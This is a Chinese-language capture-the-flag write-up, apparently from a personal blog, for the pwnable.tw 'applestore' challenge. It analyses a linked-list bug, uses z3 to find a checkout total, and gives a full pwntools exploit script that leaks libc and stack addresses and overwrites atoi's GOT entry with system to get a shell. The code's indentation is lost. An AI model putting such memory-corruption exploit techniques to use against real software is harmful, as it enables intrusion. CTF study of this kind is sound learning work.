Contents
  1. 1. applestore
    1. 1.1. 分析
    2. 1.2. exp

applestore

分析

1
2
3
4
5
6
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

结构体摸清花了我很久,好菜,相当于一个双链表。

delete()相当于unlink操作,修改fd bk来修改双链表

checkout()函数中,如果总金额为7174,就会将$1的iphone8加入购物车(双链表),关键在于这个iphone8写在了栈上,其他函数也有数据是写在这里,在调用其他函数可能会被覆盖,那如果再打印购物车,就会应该出现问题

怎么得到总金额为7174呢,安装个z3算算

1
2
3
4
5
6
7
git clone https://github.com/angr/z3.git
cd z3
##注意--prefix、--pypkgdir两个参数,可不要
python scripts/mk_make.py --prefix=想安装到的目录 --python --pypkgdir=你的python地址
cd build
make
sudo make install

我也不太会用…选择菜单的时候用到的机型越少越好节约时间

1
2
3
4
5
6
7
from z3 import *

x = Int('x')
y = Int('y')
p = Int('p')
q = Int('q')
solve(x > 0, y > 0, 199*x + 299*y == 7174)

解出:[y = 20, x = 6],也就是20台iphone6,6台plus

还有一个漏洞点就是my_read函数,用0截断,而打印订单的时候只判断前面字符是否是y,所以输入y\x00,后面刚好修改的就是iphone8的位置,所以这第27个结构体是可控的,所以可以通过修改iphone8来泄露libc。又,指向a1即asprintf malloc出的iphone型号的地址,可以泄露出堆地址。

咋利用啊…我就不会了

泄露栈地址,利用libc上的变量environ,写的是在栈上的环境变量的地址【学到了新姿势or2】。将ebp劫持到got表,my_read改写got表atoi为system,达到调用system的效果

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./applestore"
ip = "chall.pwnable.tw"
port = 10104
elf = ELF(binary)

def add(idx):
io.sendline('2')
io.recvuntil('Device Number> ')
io.sendline(str(idx))

def delete(con):
io.sendline('3')
io.recvuntil('Item Number> ')
io.sendline(con)

def list(con):
io.sendline('4')
io.recvuntil('(y/n) > ')
io.sendline(con)

def checkout():
io.sendline('5')
io.recvuntil('(y/n) > ')
io.sendline('y')


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF('./libc_32.so.6')

for i in range(20):
add(2)
for i in range(6):
add(1)

checkout()
payload = 'y\x00'
payload+=p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
list(payload)

io.recvuntil('27: ')
libc.address = u32(io.recv(4))-libc.sym['puts']
envp = libc.sym['environ']
system = libc.sym['system']
print 'libc_base: '+hex(libc.address)

payload = 'y\x00'
payload+=p32(envp)+p32(1)+p32(0)+p32(0)
gdb.attach(io)
list(payload)

io.recvuntil('27: ')
stack_envp = u32(io.recv(4))
print 'stack_envp: '+hex(stack_envp)

ebp = stack_envp-0x104
atoi_got = elf.got['atoi']
payload = '27'
payload+= p32(envp)+p32(1)+p32(ebp-0xc)+p32(atoi_got+0x20-2)
delete(payload)

payload = 'sh\x00\x00'+p32(system)
io.sendline(payload)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 1)

参考:[https://veritas501.space/2018/02/21/pwnable.tw%201~10%E9%A2%98%20writeup/](https://veritas501.space/2018/02/21/pwnable.tw 1~10题 writeup/)

这篇讲的超细:https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/06/applestore/